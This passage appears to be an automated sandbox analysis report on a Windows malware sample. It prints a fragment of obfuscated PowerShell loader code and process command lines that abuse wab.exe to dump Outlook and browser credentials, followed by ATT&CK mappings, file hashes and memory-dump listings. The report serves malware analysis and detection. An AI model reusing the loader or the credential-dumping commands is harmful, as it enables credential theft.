SMetAfeAsr FiBrlodiEuzE,aSabStiPrl ,i ,tReisneTasLe+Un+St%Fo$PeB.guB.sS,bWeo.uyR,.Rec,ooUnuRun ,tSh ') ;$Ischiovertebral=$Busboy[$Desilver];}$Fogedforbud=347549;$Keckling=28042;bagstagets (semisavage 'T,$T gLilB.o Kb Ba UlKo:.dGA r naSlpS,h oCosr c DoEjp ee.e ,o=Op SGcoeKntSa-.hC loOmn bt Ae Mn Nt . r$MoLF,aSkrMemYmsU, ');bagstagets (semisavage 'Gr$H gAflL.onibBeaCylKu:SegMekHos K Ut= . e[TaS ay.os atOveRkmSy.VaC,uoLbnByvReeC,rR,tJ,]A : E: MFspr loTamH BCia Hs reNi6 4 S otHerPoi unVrg a(S.$UdGSurC.aFapTrhMaoB sb cDioSkpT e D)S, ');bagstagets (semisavage 'Fl$Dig ulOro.obR.aMelFi:ooP naTelTolHyipraS.tChiS vSkeNal,tyD Fl=M, M,[TrS nySfsIntR,eMemV .RbT,aeAnxFrtBo.,nE DnAscMoo NdIdiP.n .gAn] i: U: .A,eS uCmaIUnI b.TiGZ e ht RSS.t Cr PiO,nFagSc( P$ArgRekResAn)Sm ');bagstagets (semisavage 'Am$.kg olL o ObVeaTelPh:t.K Lni,i HfShe SlCriPikHyeHa=af$PrPTaaTilTilLoiS aAlthaiOsv ae SlN.yPe.UnsD u bK.s.nt .rMiiNonHogS,(.o$ AFTro ,g eUrdsafE.oZurM.b Su dEx,Di$CoK teCacS.kUblAmi in PgFo) O ');bagstagets $Knifelike;"
        6⤵
        Blocklisted process makes network request
        Access Token Manipulation: Create Process with Token
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4848
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Posho.Sgs && echo t"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:5092
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\sfaurvldloti"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:4408
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\uhonsnwwzwlvtsd"
        5⤵
        Accesses Microsoft Outlook accounts
        System Location Discovery: System Language Discovery
        
        PID:2604
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\fctylfhynedadyzzcgo"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:216

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Access Token Manipulation

T1134

Create Process with Token

T1134.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Access Token Manipulation

T1134

Create Process with Token

T1134.002

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 53KB
SHA256 98fd693b92a71e24110ce7d018a117757ffdfe0e551a33c5fa5d8888a2d74fb0
MD5 d4d8cef58818612769a698c291ca3b37
SHA1 54e0a6e0c08723157829cea009ec4fe30bea5c50
SHA512 f165b1dde8f251e95d137a466d9bb77240396e289d1b2f8f1e9a28a6470545df07d00da6449250a1a0d73364c9cb6c00fd6229a385585a734da1ac65ac7e57f6
SSDEEP 1536:q5C+jH04tAHkCSMrxyNhftflJdPYodV3CNBQkj20LUsszyhMUp7Fv+Eca5b/h4ie:KC+jH04tAHk5MrxyNhftflJdPYodV3CQ
MD5 SHA1 SHA512 SSDEEP

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 14112a43248df71bdf7668c923f541190c6417ef37796605cf8114f565648d0f
MD5 331841fe482ffe8b1cc1509733d8ca67
SHA1 1e3257cca1b2c7c3aaf4cf1f138c9e9e665e8cb8
SHA512 039e5991132912f94b3fbe23146ee61bb822aada6a3f2b37bca226c76c162e04a106f3626587ff079411a03e6e9a4813ad04813ada4694f9b78f49e1925389d9
MD5 SHA1 SHA512

Submit Download

Trekanterne174.vbs

Path C:\Users\Admin\AppData\Local\Temp\Trekanterne174.vbs
Size 23KB
SHA256 c658636d66ecbaf505b36ded0d6798240fc60b955a47b58473c9f28b4927b22a
MD5 1603bcb30077161d37f2977db50f5873
SHA1 43df53981fc58d99cea68279555b4dd98366ed87
SHA512 29d8ecd9fc3b7ddfa1d6d3296cc4cc3bdbcb970f68f0aa3ae8c439e23faa9ad92170cdd82af958d01335b2fb9a76ebe5e5a9e5a84c89fca0f5924c938b5fe263
SSDEEP 192:zMApln2le0eFWS/T9ikE7j4zhjEtyZbOIY60Lw5uF1K4JPlyVmGavE6QeLb0f2HE:zMOAe+Mum4zC47G+gN1NnBFz0yPeNA
MD5 SHA1 SHA512 SSDEEP

Submit Download

__PSScriptPolicyTest_b1ioscko.shk.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_b1ioscko.shk.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

sfaurvldloti

Path C:\Users\Admin\AppData\Local\Temp\sfaurvldloti
Size 4KB
SHA256 c3071dc55b94db225d9c0f2c1b21c7e8f27dbfd168b85b7d618d8d19950e7ff2
MD5 a7e181f6aa185be0ab0ca68b30406fe6
SHA1 58c86162658dc609615b8b6400f85c92506dfdc8
SHA512 49969eb10e0bf7925940eb7374451f811658ef9ccfb83b86fb337c4d06c3ba17eb0181f598d9e0ec9ca25bfaf644209ac47b73d62ac924e73d03a4dcf8f8dd0f
SSDEEP 48:wvvv0GixfvvcGixfdvv0GixBvv0Gixakvv0Gi7:mvtixvlip1vtiPvtibvti7
MD5 SHA1 SHA512 SSDEEP

Submit Download

Formativ.Unp

Path C:\Users\Admin\AppData\Roaming\Formativ.Unp
Size 513KB
SHA256 b624b0ed0561a46fe5947d2d50dbedf4056e57ce805eaf47212ea54af429dd44
MD5 c606f5d84495e3fa8ca01d274b275ce3
SHA1 efdc8face8b55d7b1a3148d1f0cefbe4e3f6b241
SHA512 5a4f6dfdb2954205daa147477b51e44d372185274af1c5e198c2c08efa6215988f9ed8191e62509c508539ec3e62798f9b30f38d55ce481d6dfe85da59ec9b64
SSDEEP 12288:QIjAtr38kbjRWTwz+6cWS6VbN0vcSZcWjctYjk:QSAx8kbjsO5SWGvcPWjisk
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/216-72-0x0000000000400000-0x0000000000424000-memory.dmp

Download

memory/216-68-0x0000000000400000-0x0000000000424000-memory.dmp

Download

memory/216-73-0x0000000000400000-0x0000000000424000-memory.dmp

Download

memory/1132-76-0x0000000022E80000-0x0000000022E99000-memory.dmp

Download

memory/1132-80-0x0000000022E80000-0x0000000022E99000-memory.dmp

Download

memory/1132-79-0x0000000022E80000-0x0000000022E99000-memory.dmp

Download

memory/1132-53-0x0000000002460000-0x0000000006D56000-memory.dmp

Download

memory/1132-46-0x0000000001200000-0x0000000002454000-memory.dmp

Download

memory/2604-63-0x0000000000400000-0x0000000000462000-memory.dmp

Download

memory/2604-66-0x0000000000400000-0x0000000000462000-memory.dmp

Download

memory/2604-67-0x0000000000400000-0x0000000000462000-memory.dmp

Download

memory/3400-29-0x00000000060B0000-0x0000000006404000-memory.dmp

Download

memory/3400-34-0x0000000006770000-0x000000000678E000-memory.dmp

Download

memory/3400-40-0x0000000007980000-0x00000000079A2000-memory.dmp

Download

memory/3400-19-0x0000000002E80000-0x0000000002EB6000-memory.dmp

Download

memory/3400-44-0x0000000008D30000-0x000000000D626000-memory.dmp

Download

memory/3400-39-0x0000000007A80000-0x0000000007B16000-memory.dmp

Download

memory/3400-20-0x00000000058B0000-0x0000000005ED8000-memory.dmp

Download

memory/3400-38-0x0000000006CE0000-0x0000000006CFA000-memory.dmp

Download

memory/3400-37-0x0000000008100000-0x000000000877A000-memory.dmp

Download

memory/3400-21-0x0000000005880000-0x00000000058A2000-memory.dmp

Download

memory/3400-22-0x0000000005F60000-0x0000000005FC6000-memory.dmp

Download

memory/3400-23-0x0000000006040000-0x00000000060A6000-memory.dmp

Download

memory/3400-35-0x0000000006790000-0x00000000067DC000-memory.dmp

Download

memory/3400-41-0x0000000008780000-0x0000000008D24000-memory.dmp

Download

memory/4408-64-0x0000000000400000-0x0000000000478000-memory.dmp

Download

memory/4408-65-0x0000000000400000-0x0000000000478000-memory.dmp

Download

memory/4408-62-0x0000000000400000-0x0000000000478000-memory.dmp

Download

memory/4668-4-0x00007FFFF7803000-0x00007FFFF7805000-memory.dmp

Download

memory/4668-36-0x00007FFFF7803000-0x00007FFFF7805000-memory.dmp

Download

memory/4668-56-0x00007FFFF7800000-0x00007FFFF82C1000-memory.dmp

Download

memory/4668-43-0x00007FFFF7800000-0x00007FFFF82C1000-memory.dmp

Download

memory/4668-16-0x00007FFFF7800000-0x00007FFFF82C1000-memory.dmp

Download

memory/4668-15-0x00007FFFF7800000-0x00007FFFF82C1000-memory.dmp

Download

memory/4668-7-0x000001C672AE0000-0x000001C672B02000-memory.dmp

Download

memory/4848-88-0x00000000061B0000-0x0000000006504000-memory.dmp

Download

memory/4848-97-0x0000000006790000-0x00000000067DC000-memory.dmp

Download